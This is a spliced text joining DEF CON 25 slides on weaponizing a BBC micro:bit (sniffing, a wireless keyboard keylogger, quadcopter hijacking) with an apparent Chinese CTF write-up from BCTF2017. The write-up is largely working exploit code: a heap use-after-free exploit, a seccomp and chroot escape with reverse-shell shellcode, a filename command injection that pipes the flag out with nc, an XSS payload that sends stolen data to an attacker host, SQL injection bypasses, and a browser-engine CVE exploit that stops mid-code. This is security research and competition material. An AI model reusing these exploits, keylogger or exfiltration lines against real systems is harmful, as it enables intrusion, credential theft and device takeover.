WEAPONIZING THE BBC MICRO:BIT DAMIEN " " CAUQUIL VIRTUALABS DEF CON 25 - JULY 28, 2017 /ME Head of R&D, Econocom Digital Security Senior security researcher HW/SW Reverse-engineer AGENDA BBC Micro:Bit Features & Capabilities Hacking ideas Hacking into the Micro:Bit Turning the Micro:Bit into a sniffer Hacking various 2.4GHz protocols Demos Wireless keylogger Quadcopter hijacking Radiobit BBC MICRO:BIT FEATURES 5x5 LED matrix 2 buttons Custom expansion connector Wireless capabilities MicroPython ! $15 HARDWARE SPECIFICATIONS nRF51822: 2.4 GHz GFSK transceiver 256 KB Flash 16 KB RAM 6 ADCs SPI bus I2C bus 20 GPIO 3V powered (2 x AAA) EASY TO PROGRAM READ EVALUATE PRINT LOOP $ minicom -D /dev/ttyACM0 -b 115200 MicroPython v1.7-9-gbe020eb on 2016-04-18; micro:bit with nRF51822 Type "help()" for more information. >>> help() Welcome to MicroPython on the micro:bit! Try these commands: display.scroll('Hello') running_time() sleep(1000) button_a.is_pressed() [...] WIRELESS CAPABILITIES Legacy ShockBurst Protocol (SB) Enhanced ShockBurst Protocol (ESB) Bluetooth Low Energy (BLE) ENHANCED SHOCKBURST PROTOCOL Designed by Nordic Semiconductor Used by various wireless mice and keyboards Attacked by Marc Newlin during DEF CON 24 BASTILLE VS. KEYBOARDS/MICE MouseJack framework Great tool to sniff/attack keyboards and mice Open source Written in Python http://www.mousejack.com/ GOODSPEED VS. NRF24L01+ Travis Goodspeed managed to turn it into a sniffer source: Travis' blog SAMY KAMKAR'S KEYSWEEPER http://samy.pl/keysweeper/ DSMX HIJACKING TOOL source: The Register (extract from the FireFly example code) OFFENSIVE PYTHON ? # Event loop. while True: if button_a.was_pressed(): radio.send('flash') # a-ha incoming = radio.receive() if incoming == 'flash': sleep(random.randint(50, 350)) display.show(flash, delay=100, wait=False) if random.randint(0, 9) == 0: sleep(500)s radio.send('flash') # a-ha HACKING INTO THE MICRO:BIT PROMISCUITY IS THE NRF51822'S DUTY (TOO) GOODSPEED'S NRF24L01+ HACK Preamble considered as an address Address is in the payload, along with data and CRC We get only (32 - 2 - 3) = 27 bytes max. of data Payload longer than 25 bytes cannot be sniffed ! NRF24L01+ < NRF51822 nRF24L01 nRF51822 Payload Endianness Big Little/Big ESB max. payload size 32 bytes 254 bytes ! ESB packet control field auto S0/S1 fields SETTING UP NRF_RADIO /* Address: [BASE][PREFIX] */ NRF_RADIO->BASE0 = 0x00000000; NRF_RADIO->PREFIX0 = 0x55; /* LFLEN=0 bits, S0LEN=0, S1LEN=0 --> No DPL */ NRF_RADIO->PCNF0 = 0x00000000; /* STATLEN=40, MAXLEN=40, BALEN=1, ENDIAN=1 (big), WHITEEN=0 * BALEN=1 -> Adress size = 2 ! */ NRF_RADIO->PCNF1 = 0x01012828; (source code derived from ) LOOKING FOR VALID PACKETS We look for a valid PCF field and corresponding CRC If it is a match, we got a packet ! /* Read payload length from PCF. */ payload_length = payload[5] >> 2; /* Read CRC from payload. */ crc_given = (payload[6 + payload_length] << 9) | ((payload[7 + payload_len crc_given = (crc_given << 8) | (crc_given >> 8); if(payload[8 + payload_length] & 0x80) crc_given |= 0x100; crc = compute_crc(payload, payload_length); crc = (crc << 8) | (crc >> 8); /* CRC match ? */ if(crc == crc_given) { /* Good boy ! */ } nrf-research-firmware QUICK ESB SNIFFER import radio radio.on() radio.config(data_rate=radio.RATE_2MBIT, channel=74) radio.sniff_on() while True: pkt = radio.sniff() if pkt is not None: addr = ':'.join(['%02x'%c for c in pkt[:5]]) payload = ' '.join(['%02x'%c for c in pkt[5:]]) print('%s > %s' % (addr, payload)) SNIFFING DEMO 0:00 / 0:49 ATTACKING OTHER 2.4GHZ PROTOCOLS Our Micro:Bit can sniff, but inject too ! This technique is not limited to Nordic's ESB/SB Any 2.4GHz GFSK-based protocol with compatible data rate A world of possibilities ! ADDING XN297 SUPPORT XN297 TRANSCEIVER Uncommon 2.4GHz GFSK transceiver Found in Cheerson CX-10 Compatible with our nRF51822 Data whitening algorithm COMMUNICATING WITH THE XN297 Compatible with Legacy ShockBurst mode, 2Mbit/s Uses a custom preamble: 71 0F 55 Use this preamble as RX/TX address \o/ (Teasing: more to come in next chapter) BLUETOOTH SMART SUPPORT nRF51822 IS Bluetooth Smart capable ! May be used to sniff/send advertisements Theoritically able to follow a BLE connection BLUETOOTH SMART CHANNELS BLUETOOTH SMART ADVERTISEMENTS SNIFFING ADVERTISEMENTS radio.on() radio.config(channel=38) radio.ble() while True: pkt = radio.receive_bytes() if pkt is not None: if len(pkt) > 13: addr = '%02x:%02x:%02x:%02x:%02x:%02x' % ( pkt[13], pkt[12], pkt[11], pkt[10], pkt[9], pkt[8] ) advinfo = ' '.join(['%02x'%c for c in pkt[14:]]) print('+ %s > %s' % (addr, advinfo)) SNIFFING ADVERTISEMENTS 0:00 / 0:26 SPOOFING ADVERTISEMENTS adv_pkt = bytes([ 0x42, # ADV_NONCONN_IND 0x42, 0xd8, 0x2a, 0x41, 0x32, 0x65, # BD ADDR (AdvA) 0x02, 0x01, 0x1a, # Flags PDU # Complete name: "DEFCON25" 0x09, 0x09, 0x44, 0x45, 0x46, 0x43, 0x4f, 0x4e, 0x32, 0x35 ]) radio.on() radio.ble() while True: for i in range(37,40): radio.config(channel=i) radio.send(adv_pkt) sleep(50) TESTING PDU PARSERS from microbit import * import radio adv_pkt = bytes([ 0x40, # PDU type 0x42, 0xd8, 0x2a, 0x41, 0x32, 0x65, # BD address 0x02, 0x01, 0x1a, # Flags (0x01, size 0x02) 0x0a, 0x09])+b'DEFCON25' # Size is 0x0a instead of 0x09 radio.on() radio.config(channel=38) radio.ble() while True: for i in range(37,40): radio.config(channel=i) radio.send(adv_pkt) sleep(50) TESTING PDU PARSERS 0:00 / 0:13 SNIFFING BLE CONNECTIONS SNIFFING BLE CONNECTION REQUESTS radio.on() radio.config(channel=37) radio.ble() while True: p = radio.receive() if p is not None and p[5]&0x0F == 5 and p[6]==0x22: print(' '.join(['%02x'%c for c in p])) inita = ':'.join(['%02x'%c for c in p[8:14]]) adva = ':'.join(['%02x'%c for c in payload[14:20]]) aa = p[20]<<24 | p[21]<<16 | p[22]<<8 |p[23] crcinit = (p[24]<<16)|(p[25]<<8)|(p[27]) hop = (p[41]&0xF8)>>3 print('[%08x] %s -> %s (CRCInit: %06x, hop: %d)' % ( aa, inita, adva, crcinit, hop )) SNIFFING CONNECTION REQUESTS 0:00 / 1:21 PYTHON CANNOT SNIFF Using Micropython introduces incompatible delays Few RAM available, as much of it eaten by Micropython internals Python code size is limited, not enough place for a sniffer TOOLS ! MOUSEJACK-LIKE ESB SNIFFER Able to dump 32-byte payloads ✌ Supports ESB and Legacy SB (and BLE Link Layer) Follow mode for ESB Raw sniffing MOUSEJACK-LIKE ESB SNIFFER usage: esb-sniffer.py [-h] [--device DEVICE] [--target TARGET] [--channel CHANNEL] [--raw] [--data-rate] Micro:bit Enhanced ShockBurst Sniffer optional arguments: -h, --help show this help message and exit --device DEVICE, -d DEVICE Serial device to use --target TARGET, -t TARGET Target MAC --channel CHANNEL, -c CHANNEL Channel to sniff on --data-rate RATE, -b RATE 0: 1MBit | 1: 2MBit | 2: 250KBit --raw, -r Sniff raw packets (SB or ESB) MICRO:BIT SNIFFER DEMO 0:00 / 1:36 WIRELESS KEYLOGGER (or how to get passwords, PIN codes and others from a MS wireless keyboard) MY WIRELESS KEYLOGGER Wireless keylogger for Microso wireless keyboards Battery powered (2 x AAA) Small form factor (easy to hide) CREATING THE SOFTWARE It uses the UART interface to send the recorded keystrokes Micro:Bit provides a tiny filesystem to store data (~3kb) We can use our modded firmware to acquire and sniff a keyboard with open('keys.txt', 'wb') as f: f.write('HELLOWORLD') PLANTING OUR KEYLOGGER 0:00 / 0:11 VICTIM USES HIS KEYBOARD 0:00 / 0:22 EXTRACTING KEYSTROKES 0:00 / 0:31 HIJACKING CHEERSON CX-10 QUADCOPTERS DRONEDUEL AT TOORCAMP2016 RESULT CX-10 WIRELESS PROTOCOL CX-10 WIRELESS PROTOCOL HIJACK ! CX-10 CHANNEL HOPPING Select 1 channel in 4 different frequency ranges Channels depend on TXID Only 4 channels 6ms on each channel '''channel hopping algorithm''' channels = [ (txid[0]&0x0f)+0x3, (txid[0]>>4)+0x16, (txid[1]&0x0f)+0x2d, (txid[1]>>4)+0x40 ] LET'S HIJACK ! Sniff a valid packet from channels 3 to 18 Once a valid packet is found, extract TXID and VID Check current channel based on TXID Sync and send quicker than the original remote ! SETTING UP THE RADIO radio.on() radio.cx() radio.config(channel=3) FINDING A VALID PACKET pkt = radio.receive() if pkt is not None: # check preamble if pkt[0]==0x55: # check if current channel matches txid txid = list(pkt[1:5]) channels = [ (txid[0]&0x0f)+0x3, (txid[0]>>4)+0x16, (txid[1]&0x0f)+0x2d, (txid[1]>>4)+0x40 ] if channel in channels: # get vid found = True vid = list(pkt[5:9]) SYNC # reinit radio counter = 0 radio.config(channel=channels[counter]) radio.cx() # sync pkt = None while pkt is None: pkt = radio.receive() next_at = running_time()+6 SEND PACKET # a: aileron, e:elevator, t:throttle, r:rudder p = bytes([0x55] + txid + vid + [ a&0xff, a>>8, e&0xff, e>>8, t&0xff, t>>8, r&0xff, r>>8, 0x00, 0x00 ]) radio.send(p) BUT WAIT, WE NEED A REMOTE CONTROLLER ! A CLASSIC RC ? A USB COMPATIBLE GAMEPAD ? USING A MICRO:BIT AS A REMOTE CONTROLLER REUSING A CX-10 REMOTE CONTROLLER REUSING A CX-10 REMOTE CONTROLLER CONNECTING OUR MICRO:BIT READING STICKS VALUES t = pin0.read_analog() t = int(2031 * (t/1023)) + 0x386 r = pin4.read_analog() r = int(3000 * (r/1034)) e = pin10.read_analog() e = int(3000 * (e/1023)) a = pin1.read_analog() a = int(3000 * (a/1023)) NO LIVE DEMO :'( HIJACKING A BOUND QUADCOPTER (TESTBED) 0:00 / 1:18 FULL CONTROL OF THE QUADCOPTER 0:00 / 2:02 HIJACKING RESULTS Sometimes the remote controller gets disconnected from the quadcopter (timing issue ?) This attack works on the orange version of the quadcopter, not the green one (sticks do not return the same value) RADIOBIT RADIOBIT Improved Micropython firmware Adds support for: EnhancedShockBurst Legacy ShockBurst Cheerson CX-10 protocol Bluetooth Low Energy RADIOBIT TOOLS ESB/SB/raw 2.4GHz sniffer Microso Wireless keyboard keylogger Cheerson CX-10 Hijacking tool http://github.com/virtualabs/radiobit CONCLUSION MICRO:BIT USAGES Cheap, tiny, battery powered RF hacking tool Allows rapid prototyping with ESB, SB, and BLE Better than Bastille's mousejack Can do even better with Micro:Bit's DAL (C++) FUTURE WORK Open source BLE sniffer (like Nordic's, but free!) Support of other 2.4GHz protocols Keyboard and mouse injection tool BONUS 0:00 / 1:53 QUESTIONS ? CONTACT [email protected]   @VIRTUALABS   @IOTCERT
pdf
BCTF2017-Writeup By Nu1L Misc 签到: Nc 连上去输入 token,得到 flag。 foolme 关键点 1:哈希碰撞得到 md5 值结尾相同的 key.使用穷举方法即可。 关键点 2:发送满足条件的 jpg 图片的数据。校验函数是 check。 直接修改可以影响 diff 值的数据即可,即 input_x,input_y,input_z 的值。不断修改像素值,将 diff 值调高,但是不可以大于 2,并且被识别引擎识别为与原图不同的图片。 Web: signature Github 搜索源码。很容易搜到源码,下载后进行分析: 很容易看出是 CI 写的一个 Demo 站点。 在 blog_backup_2014.php 中很容易发现: 成功登陆后,在 admin 页面处发现注入: 发现经过了 waf 处理...但是出题人给的源码里把 waf 函数已经抽空,黑盒 fuzz 后发现貌似只 过滤了空格,用括号绕过即可,注入得到最终的表结构,然后发现 flag 在 payment.php 中: 读取数据,然后构造 signature,post 得到最终 flag。(忘记截图... PS:题目注入的时候服务器反应的确有点慢,不如将数据库的结构在源码中有所体现,可能 会增加选手的做题快感 XD。 baby sqli 首先输入 admin'#绕过登陆,提示有 4 个 item,一个一个的买,买到 d 拿到 flag: bctf{8572160a2bc7743ad02b539f74c24917} Kitty shop 题目接着刚才的做,有一个可以下载 manual 的地方,fuzz 发现存在任意文件下载: Fuzz 目录: 得到一个地址/app/encrypt0p@ssword/passwor: 访问 http://baby.bctf.xctf.org.cn/encrypt0p@ssword/password: 利用 kaiity 的任意文件下载拿到 client 的 elf 文件。如图 sub_401B6A 函数中调用了 recv 函数 接受服务器数据, 对 recv 函数下断分析接收的数据得到如下图所示的内容: Paint 涉及两个知识点,一个 curl 的拼接访问,一个是 127.0.0.1 呗过滤之后的绕过,curl 可以拼 接访问,curl http://a.com/{a.gif,b.gif},还有就是 127.0.0.1 被过滤之后的绕过,可以用 127.0.0.2 绕过。我们首先将一张图片切成 2 分,中间差距正好应该是 flag.php 的请求大小。首先在地 址那里输入 http://127.0.0.2/flag.php 获知大小是 374 字节,之后用我们的脚本切割图片,上 传 之后在地址那里输入 http://127.0.0.2/{uploads/1492269999HkwuqBYX.gif,flag.php,uploads/1492270040evG9tmYw.gif} 得到新的图片: 访问就是 flag > 后来我发现其实只要切割大小小于 374 都可以拿到 flag,原因不详 file1 = open('a.gif', 'r') data = file1.read() i1 = data[:200] i2 = data[573:] f1 = open("1.gif", "w") f1.write(i1) f1.close() f2 = open("2.gif", "w") f2.write(i2) f2.close() Only admin 首先是登陆,忘记密码那里,输入用户名 admin 和随便一个邮箱,查看源码有一个 md5, 解开就是 admin 的密码,登陆,发现存在 cookie,解开是 user 的 md5,修改成 admin 的 md5, 拿到一个 github 的用户,访问上去,有一个 apk,反编译一下,解密就好。有点扯淡的题目, 不解释 import java.util.Base64; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; public class MyTest { public static void main(String[] args) throws Exception { SecretKeySpec key = new SecretKeySpec("3742#AES$$JKL:cn".getBytes(), "AES"); Cipher v0 = Cipher.getInstance("AES/ECB/PKCS5Padding"); v0.init(2, key); byte[] b = null; b = Base64.getDecoder().decode("+ipteaf41bn/76A25zWVDwgc7x5vOtBFHDrBpg9NSTw="); System.out.println(new String(v0.doFinal(b))); } } Alice and Bob 基于语义的 waf, 引入能够打乱语义判断的就可以触发到了 mysql 有 mod 的比较符和函数 想着通过引入两个去打乱语义 payload: 'mod mod(1,1) union select flag from flag# Diary 跟 uber 的案例差不多: 题目一看就是 xss 的,认证过程是 Oauth,直接那这个网址上面的 payload 就可以复现,一 共三个文件 > http://xss.xxx.cn/attack/albert2.js > http://xss.xxx.cn/attack/index.html > http://xss.xxx.cn/attack/login-target.html <html> <head> <!-- CSP 策略会阻止访问 login.uber.com --> <meta http-equiv="Content-Security-Policy" content="img-src http://diary.bctf.xctf.org.cn"> <!-- 退出登录 partners.uber.com,在跳转到 login.iber.com 的时候触发 onerror --> </head> <body> <img src="http://diary.bctf.xctf.org.cn/accounts/logout/" onerror="login();"> <script> //初始化登录 var login = function() { var loginImg = document.createElement('img'); loginImg.src = "http://diary.bctf.xctf.org.cn/accounts/login/"; loginImg.onerror = redir; } //用我们的 code 登录 var redir = function() { // 为了方便测试,code 放在 url hash 中,实际需要动态的获取 var code = "ojtjJdAepHTwIDlGtLtKxTgZudnCdL"; var loginImg2 = document.createElement('img'); loginImg2.src = 'http://diary.bctf.xctf.org.cn/o/receive_authcode?state=preauth&code='+code; loginImg2.onerror = function() { window.location = 'http://diary.bctf.xctf.org.cn/diary/'; } } </script> </body> </html> <html> <head> <meta http-equiv="Content-Security-Policy" content="img-src http://diary.bctf.xctf.org.cn"> </head> <body> <img src="http://diary.bctf.xctf.org.cn/accounts/logout/" onerror="redir();"> <script src="http://diary.bctf.xctf.org.cn/static/js/jquery.min.js"></script> <script> //使用用户 login.uber.com 的 session 重新登录 var redir = function() { window.location = 'http://diary.bctf.xctf.org.cn/accounts/login/'; }; </script> </body> </html> var loginIframe = document.createElement('iframe'); loginIframe.setAttribute('src', 'http://xss.albertchang.cn/attack/login-target.html'); top.document.body.appendChild(loginIframe); setTimeout(function() { //document.cookie = "csrftoken=cQmHtL1l4LyBPq8eg5yp9Sf6JrZrkqdiySkSf36veE13JypisP4YKOyEjKywR96F;domain=*.x ctf.org.cn;path=/"; //console.log(document.cookie['csrftoekn']); //cookie 动态获取,本来想着直接写死的,但是没有成功,本层只有一个 cookie 是 csrftoken, 直接取出来就好 var token= document.cookie.split('=')[1]; console.log(token); $.post("http://diary.bctf.xctf.org.cn/survey/", {rate:'1',suggestion:'albertchang',csrfmiddlewaretoken:token}, function (data){ $.get("http://xss.albertchang.cn/?data="+escape(data)); } );} , 9000); Crypto Hulk: 首先测试发现 flag 应该是 38 位,因为输入 9 个字符和 10 个字符明显多出来一组,所以根据 拼接方式可以知道应该是 38 位 #!/usr/bin/env python # encoding: utf-8 from zio import * flag = '' target = ('202.112.51.217',9999) dic = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}" def get_payload(a, b, c): return ''.join(chr(ord(a[i]) ^ ord(b[i]) ^ ord(c[i])) for i in xrange(16)) def exp(i, payload): io = zio(target, timeout=5, print_read = COLORED(NONE, 'red'), print_write = COLORED(NONE, 'green')) io.read_until('encrypt: 0x') pay1 = '30' * (48-i) io.writeline(pay1) io.read_until('ciphertext') data = io.read_until('Give') io.read_until('encrypt: 0x') ciphertext1 = data[data.find('0x')+2:-5] data1 = ciphertext1[64:96] tmp = ('0' * (39 - len(flag + payload)) + flag + payload)[-16:] pay2 = get_payload(ciphertext1[32:64].decode('hex'), ciphertext1[-32:].decode('hex'), tmp).encode('hex') io.writeline(pay2) io.read_until("ciphertext") r2 = io.read_until("\n") ciphertext12 = r2[r2.find('0x')+2:r2.find('0x')+34] io.close() if data1 == ciphertext12: return 1 else : return 0 for i in xrange(1, 39): for pay in dic: if exp(i, pay): flag += pay print flag break print flag Pwn Babyuse (PWN) select 之后 drop 会导致 use 时 uaf,泄露堆上地址和 vtable 然后伪造 vtable 可以执行任意代 码。 脚本: #!/usr/bin/env python2 # -*- coding:utf-8 -*- from pwn import * import os, sys #r = process("./babyuse") token = '4e4ARInVS102IeYFkmUlBUVjOojxsMKC' r = remote('202.112.51.247', 3456) context(log_level='DEBUG') def ru(delim): return r.recvuntil(delim) def rn(c): return r.recvn(c) def sn(d): return r.send(d) def sl(d): return r.sendline(d) def menu(): return ru('Exit\n') def buy(index, length, name): menu() sl('1') ru('add:') sl(str(index)) ru('name') sl(str(length)) ru('name:') sn(name) return def select(index): menu() sl('2') ru('gun') sl(str(index)) return def list(): menu() sl('3') return def rename(index, length, name): menu() sl('4') ru('rename') sl(str(index)) ru('name') sl(str(length)) ru('name:') sn(name) return def use(ops): menu() sl('5') for c in ops: sl(str(c)) return def drop(index): menu() sl('6') ru('delete:') sl(str(index)) return def main(): #gdb.attach(r) ru('Token:') sl(token) buy(1, 215-8, 'A'*(215-8)) buy(1, 31, 'A'*31) buy(1, 31, 'A'*31) buy(1, 31, 'A'*31) select(2) drop(2) rename(3, 15, 'AAAA\n') menu() sl('5') ru('Select gun ') pie = u32(rn(4)) - 0x1d30 log.info('pie = ' + hex(pie)) heap = u32(rn(4)) log.info('heap_leak = ' + hex(heap)) sl('4') buy(1, 31, 'A'*31) drop(2) fake_vtable = heap + 192 rename(1, 63, p32(pie+0x172e).ljust(63, 'A')) rename(3, 15, p32(fake_vtable) + p32(pie + 0x3fd0) + '\n') menu() sl('5') ru('Select gun ') addr = u32(rn(4)) - 0x712f0 system = addr + 0x3ada0 binsh = addr + 0x15b82b info("libc = " + hex(addr)) payload = '1 '.ljust(12) payload += p32(system) payload += p32(0xdeadbeef) payload += p32(binsh) sl(payload) r.interactive() return if __name__ == '__main__': main() Monkey (PWN) mozilla 的 jsshell,可以在网上找到其源码,阅读发现其中加入了全局对象 os,其中有 system 函数。 Payload:os.system(‘/bin/sh’); BOJ (PWN) 这是个黑盒测试题,经过测试发现可以使用 socket 系统调用,所以可以获得程序运行结果。 首先 readdir 列目录,看到环境内部如/proc,/sys 等目录都没有挂载,猜测程序在 chroot jail 中,在/root/发现了 scf.so,经过分析发现该 so 经过 LD_PRELOAD 加载到当前进程,使用了 seccomp 阻止了关键 syscall,于是用 x32 ABI 绕过之,通过 chdir + chroot 的方式绕过 chroot jail。 逃出 jail 后在根目录发现 flag 但是没有权限读取,在/home 目录下发现了 sandbox 和 cr,cr 是负责编译与运行程序的类似 crontab 的程序,在其中存在命令注入漏洞,可以得到 flag。 Exploit: #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <dirent.h> #include <string.h> #include <sys/socket.h> #include <arpa/inet.h> #include <netinet/in.h> #include <sys/types.h> #include <fcntl.h> #include <sys/syscall.h> #include <sys/stat.h> #include <errno.h> #include <sys/syscall.h> #define PORT "\x7a\x69" #define IPADDR "\x65\xc8\x8a\x1f" unsigned char code[] = \ "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a" "\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0" "\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24" "\x02"PORT"\xc7\x44\x24\x04"IPADDR"\x48\x89\xe6\x6a\x10" "\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48" "\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a" "\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54" "\x5f\x6a\x3b\x58\x0f\x05"; int main(int argc, char* argv[], char* envp[]) { struct sockaddr_in sin; struct stat st; char buf[100]; off_t l = 0; int s = socket(2,1,0); sin.sin_family = AF_INET; sin.sin_port = htons(9999); sin.sin_addr.s_addr = inet_addr("101.200.138.31"); connect(s, (struct sockaddr*)&sin, sizeof(sin)); dup2(s, 1); puts("Start"); printf("%d %d\n", getuid(), getgid()); chdir("/tmp/"); mkdir(".345", 0777); if(syscall(SYS_chroot|0x40000000, ".345") < 0) printf("chroot %d\n", errno); int x;for(x=0;x<1000;x++) chdir(".."); if(syscall(SYS_chroot|0x40000000, ".")<0) printf("chroot2 %d\n", errno); /* snprintf(buf,99,"/proc/%d/mem", getppid()); int fd=open(buf, O_RDWR); if(fd<0) printf("open %d\n", errno); char* b=malloc(0x3000);memset(b, 0x90, 0x3000); memcpy(b+0x3000-sizeof(code), code, sizeof(code)); lseek(fd, 0x400000, SEEK_SET); write(fd, b, 0x3000);*/ int fd2 = open("/home/ctf/oj/src/;nc 101.200.138.31 31337 < flag;.c", O_RDWR|O_CREAT); if(fd2 <0) printf("open %d\n", fd2); puts("Finished"); return 0; } Baby0day chakraCore 漏洞利用,CVE-2016-7201 Exploit: // arrrrrrrrrgh, my crappy exploit!!! function gc() { var gc_arr = []; for(var i=0;i<0x350000;i++) { gc_arr.push([]); } gc_arr = null; } var count = 512; var defrag_arr = new Array(count); function u32(val) { if(val >= 0) return val; return 0x100000000 + val; } function makeqword(lo,hi) {return u32(lo)+ ((u32(hi)) * 0x100000000);} function makesigned(val) {return (val)|0;} function hiword(val) {return makesigned((val)/0x100000000);} function loword(val) {return makesigned((val)&0xffffffff);} for(var i=0;i<count;i++) { defrag_arr[i] = new Array( 0x11111111,0x22222222,0x33333333,0x44444444, 0x55555555,0x66666666,0x77777777,0x7fffffff, 0x31337,0x31337,0x31337,0x31337, 0x31337,0x31337,0x31337,0x31337, ); } var evilarr = new Array(console.log); evilarr.length = defrag_arr[0].length; evilarr.__proto__ = new Proxy({}, {getPrototypeOf:function(){return defrag_arr[count/2];}}); evilarr.__proto__.reverse = Array.prototype.reverse; evilarr.reverse(); //var seg = evilarr[0]; var vtable = evilarr[6]; var arrtype = evilarr[5]; var uint32arr = new ArrayBuffer(0x10); //var a = evilarr[8]; var karr = new Array( 0x11111111,0x22222222,0x33333333,0x44444444, 0x55555555,0x66666666,0x77777777,0x7fffffff, 0x31337,0x31337,0x31337,0x31337, 0x31337,0x31337,0x31337,0x31337 ); var karr2 = new Array( 0x11111111,0x22222222,0x33333333,0x44444444, 0x55555555,0x66666666,0x77777777,0x7fffffff, 0x31337,0x31337,0x31337,0x31337, 0x31337,0x31337,0x31337,0x31337 ); karr2["cccc"] = 0x0; karr2["dddd"] = arrtype; karr2["eeee"] = 0x5a6b7c8d; // search sig karr2["ffff"] = 0x13371337; karr2["gggg"] = 0x13371338; karr2["hhhh"] = 0x13371339; karr2["jjjj"] = 0x1337133a; karr2["kkkk"] = 0x1337133b; karr2["1xxx"] = 0x1337133c; karr2["2xxx"] = 0x1337133d; karr2["3xxx"] = 0x1337133e; karr2["4xxx"] = 0x1337133f; karr2["5xxx"] = 0x0; karr2["6xxx"] = 0x0; karr2["7xxx"] = 0x0; karr2["8xxx"] = 0x0; karr2["9xxx"] = 0x0; karr2["axxx"] = 0x0; karr2["bxxx"] = 0x0; karr2["cxxx"] = 0x0; var karr3 = new Array( 0x7f7f7f7f,0x22222222,0x33333333,0x44444444, 0x55555555,0x66666666,0x77777777,0x7fffffff, 0x31337,0x31337,0x31337,0x31337, 0x31337,0x31337,0x31337,0x31337 ); var karr4 = new Array( 0x11111111,0x22222222,0x33333333,0x44444444, 0x55555555,0x66666666,0x77777777,0x7fffffff, 0x31337,0x31337,0x31337,0x31337, 0x31337,0x31337,0x31337,0x31337 ); var fdv = new DataView(new ArrayBuffer(8)); var evilarr2 = new Array(console.log); evilarr2.length = karr.length; evilarr2.__proto__ = new Proxy({}, {getPrototypeOf:function(){return karr;}}); evilarr2.__proto__.reverse = Array.prototype.reverse; evilarr2.reverse(); var l = evilarr2[4]; defrag_arr = null; CollectGarbage(); // not working??? //gc(); var scount2 = 0x10000; var count2 = 0x100000; var arrc2 = []; for(var i=0;i<count2 ;i++) { arrc2.push([0, 0x12345678, 0x66666666, 0x66666666, 0, 1, 2, 3, 0, 1, 2, 3, 0, 1, 2, 3, 0, 1, 2, 3, 0x66666600, 0x66666601, 0x0, arrtype, 0x66666604, 0x66666605, 0x66666606, 0x66666607, 0x66666608, 0x66666609, 0x6666660a, 0x6666660b, 0x6666660c, 0x6666660d, 0x6666660e, 0x6666660f, 0x66666610, 0x66666611, 0x66666612, 0x66666613, 0x66666614, -2147483646, vtable, arrtype, 0x1234, 0x30005, 0x1234, l, l, l, arrtype, arrtype, uint32arr, uint32arr, uint32arr, uint32arr, //0x66666624, 0x66666625, 0x66666626, 0x66666627, null, null, null, null, //0x66666628, 0x66666629, 0x6666662a, 0x6666662b null, null, null, null ]); } /* pwndbg> dq 0x7ffff15843d0 40 00007ffff15843d0 000100005a6b7c8d 0001000013371337 00007ffff15843e0 0001000013371338 0001000013371339 00007ffff15843f0 000100001337133a 000100001337133b 00007ffff1584400 000100001337133c 000100001337133d 00007ffff1584410 000100001337133e 000100001337133f 00007ffff1584420 0001000000000000 0001000000000000 00007ffff1584430 0001000000000000 0001000000000000 00007ffff1584440 0001000000000000 0001000000000000 00007ffff1584450 0001000000000000 0001000000000000 00007ffff1584460 00007ffff6487800 00007ffff1694f00 <- karr3 00007ffff1584470 0000000000000000 0000000000050005 00007ffff1584480 0000000000000010 00007ffff15844a0 00007ffff1584490 00007ffff15844a0 00007ffff7e489c0 00007ffff15844a0 0000001000000000 0000000000000012 00007ffff15844b0 0000000000000000 222222227f7f7f7f 00007ffff15844c0 4444444433333333 6666666655555555 00007ffff15844d0 7fffffff77777777 0003133700031337 00007ffff15844e0 0003133700031337 0003133700031337 00007ffff15844f0 0003133700031337 8000000280000002 00007ffff1584500 00007ffff6487800 00007ffff1694f00 */ /* now leak what we need */ var seg = evilarr[0]; var lo_leak = u32(seg[34]); var hi_leak = u32(seg[35]); var leak_addr = hi_leak * 0x100000000 + lo_leak; console.log("leak_addr = 0x" + leak_addr.toString(16)); var chakra_base = leak_addr - 0xc8f800; console.log("chakra_base = 0x" + chakra_base.toString(16)); var lo_leak = u32(seg[44]); var hi_leak = u32(seg[45]); var heap_leak = makeqword(lo_leak, hi_leak); console.log("heap_leak = 0x" + heap_leak.toString(16)); var clear_zero = chakra_base + 0x5a8db0; /* fake DataView type */ seg[56] = 56; seg[57] = 0; seg[58] = loword(heap_leak); seg[59] = hiword(heap_leak); seg[60] = loword(clear_zero); seg[61] = hiword(clear_zero); var fake_table = heap_leak + 0x28 - 0x340; var fake_table_addr = heap_leak + 0x30; seg[62] = loword(fake_table); seg[63] = hiword(fake_table); var faketype = heap_leak + 0x18; seg[36] = loword(faketype); seg[37] = hiword(faketype); // fake type seg[44] = loword(fake_table_addr); seg[45] = hiword(fake_table_addr); // isDetached bypass seg[42] = 0x200; // length seg[48] = loword(chakra_base); seg[49] = hiword(chakra_base); // addr //console.log(fdv.getUint32.call(karr3, 0, true)); function setaddr(val64) { seg[48] = loword(val64); seg[49] = hiword(val64); return; } function read64(addr) { setaddr(addr); return makeqword(fdv.getInt32.call(karr3, 0, true), fdv.getUint32.call(karr3, 4, true)); } function write64(addr, val64) { setaddr(addr); fdv.setInt32.call(karr3, 0, loword(val64), true); fdv.setInt32.call(karr3, 4, hiword(val64), true); } var libc_leak = read64(chakra_base + 0xcc80f0); console.log("libc_leak = 0x" + libc_leak.toString(16)); var libc_base = libc_leak - 0x83940; console.log("libc_base = 0x" + libc_base.toString(16)); var environ = read64(libc_base + 0x3c5f38); console.log("environ = 0x" + environ.toString(16)); var ret_addr = environ - 248; var system = libc_base + 0x45390; var poprdi_ret = libc_base + 0x21102; var bss = libc_base + 0x3c8200; var exit = libc_base + 0x3a030 //ls -la //write64(bss, 0x2d20736c); //write64(bss+4, 0x2020616c); //./execMe_plz //5f706c7a write64(bss, 0x78652f2e); write64(bss+4,0x654d6365); write64(bss+8,0x7a6c705f); console.log("writing rop chain"); write64(ret_addr, poprdi_ret); 